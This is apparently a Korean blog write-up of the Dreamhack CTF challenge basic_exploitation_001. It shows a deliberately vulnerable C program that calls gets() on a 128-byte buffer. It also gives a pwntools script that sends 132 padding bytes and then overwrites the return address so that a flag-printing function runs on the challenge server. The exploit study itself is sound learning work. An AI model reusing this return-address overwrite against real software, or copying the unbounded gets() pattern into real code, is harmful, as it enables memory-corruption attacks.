문제
풀이
제공된 파일: basic_exploitation_001 / basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
basic_exploitation_000.c와 거의 비슷한데 scanf대신에 gets를 사용하고 있고, "cat /falg"를 실행해주는 read_flag함수가 있다.
gets도 역시 입력받을 데이터의 길이를 지정할 수 없기 때문에 BOF취약점이 존재한다.
스택구조를 살펴보자.
buf의 크기만큼 esp를 빼주고 있다.
→ 현재 스택의 상태는 buf(128)+SFP(4)+ret(4)
이번엔 flag를 출력해주는 함수가 있으므로 해당 함수의 주소를 반환 주소로 덮어쓸 생각이다.
먼저 ret에 덮어쓸 read_flag 함수의 주소를 알아내야 한다.
0x80485b9
ret앞에 132바이트의 공간이 있으므로 더미값으로 채운후 read_flag함수의 주소를 리틀 엔디언을 적용해서 전달해야 한다.
from pwn import *
p = remote("host1.dreamhack.games", 10172)
context.arch = "i386"
payload = "\x80"*132 + p32(0x80485b9)
p.send(payload)
p.interactive()
'Study > System Hacking' 카테고리의 다른 글
[dreamhack] basic_exploitation_000 (1) | 2022.05.08 |
---|---|
[dreamhack] Return Address Overwrite (1) | 2022.05.08 |
[dreamhack] Exploit Tech: Return Address Overwrite (0) | 2022.05.06 |
[dreamhack] Memory Corruption: Stack Buffer Overflow (0) | 2022.05.05 |
[dreamhack] Background: Calling Convention (0) | 2022.05.04 |